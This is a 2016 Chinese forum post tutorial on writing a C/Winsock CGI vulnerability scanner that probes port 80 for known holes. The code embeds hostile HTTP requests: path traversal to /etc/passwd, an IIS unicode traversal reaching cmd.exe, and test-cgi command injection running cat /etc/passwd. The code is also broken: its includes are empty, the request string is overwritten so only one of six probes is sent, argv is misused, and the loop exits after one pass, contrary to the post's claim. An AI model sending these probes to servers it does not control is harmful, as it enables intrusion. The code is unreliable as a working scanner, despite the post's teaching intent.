编写漏洞扫描器-C / C++-优质IT资源分享社区

admin
管理员
管理员
  • UID1
  • 粉丝27
  • 关注4
  • 发帖数581
  • 社区居民
  • 忠实会员
  • 原创写手
阅读:212回复:0

  编写漏洞扫描器

楼主#
更多 发布于:2016-05-07 22:12
 一、漏洞扫描器基本原理:
            
            
 编写漏洞扫描器探查远程服务器上可能存在的具有安全隐患的文件是否存在,它的 socket 建立过程和上面的端口扫描器是相同的,所不同的是漏洞扫描器通常使用 80
端口,然后对这个端口发送一个 GET
文件的请求,服务器接收到请求会返回文件内容,如果文件不存在则返回一个错误提示,通过接收返回内容可以判断文件是否存在。发送和接收数据需要使用函数 send() 和
recv(),另外对流中存在的字符串进行判断需要使用函数 strstr(),这除了需要具备 socket 函数库的知识以外,还需要一些有关 string
函数库的知识。

二、简单的漏洞扫描源代码:

/********************************************/
/* 端口扫描器 源代码 */
/* CgiScanner.cpp */
/********************************************/

#include
#include
#include

int
main(int argc,char *argv[])
{
if(argc!=2){
printf("Useage : scan [IP
address]\n");
return(1);
}

struct sockaddr_in blah;
struct
hostent *he;
WSADATA wsaData;
int i;
WORD wVersionRequested;
SOCKET sock;

char buff[1024];
char *ex;
ex="GET
/../../../../etc/passwd HTTP/1.0\n\n";
ex="GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
ex="GET
/A.ida/%c1%00.ida HTTP/1.0\n\n";
ex="GET
/cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";
ex="GET
/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";
ex="GET
/cgi-bin/test-cgi?* HTTP/1.0\n\n";
char *fmsg="HTTP/1.1 200 OK";

wVersionRequested = MAKEWORD( 1, 1 );
if
(WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock
Initialization failed.\n");
exit(1);
}

if
((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not
create socket.\n");
exit(1);
}
sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(argv);

if
((he=gethostbyname(argv))!=NULL){
memcpy((char
*)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv))==-1){
WSACleanup();
exit(1);
}
}

for (i=1 ; i<7; i++) {
if
(connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex,strlen(ex),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

这段代码可以检测六个漏洞,读者可以根据自己的需要增加漏洞扫描的数量。程序实现的很简洁,概括起来这段程序完成了一下四项工作:

1、连接目标主机 SERVER;
2、向目标主机发送 GET 请求;
3、接收目标返回数据;
4、根据返回数据判断文件是否存在。




 

 Only
you!!!


 









优质IT资源分享社区为你提供此文。 [font=Tahoma  ]
本站有大量优质C、C++教程视频,资料等资源,包含C,C++基础教程,高级进阶教程等等,教程视频资源涵盖传智播客,极客学院,达内,北大青鸟,猎豹网校等等IT职业培训机构的培训教学视频,价值巨大。欢迎点击下方链接查看。 [font=Tahoma  ]

C、C++教程视频
优质IT资源分享社区(www.itziyuan.top)
一个免费,自由,开放,共享,平等,互助的优质IT资源分享网站。
专注免费分享各大IT培训机构最新培训教学视频,为你的IT学习助力!

!!!回帖受限制请看点击这里!!!
!!!资源失效请在此版块发帖说明!!!

[PS:按 CTRL+D收藏本站网址~]

——“优质IT资源分享社区”管理员专用签名~

本版相似帖子

游客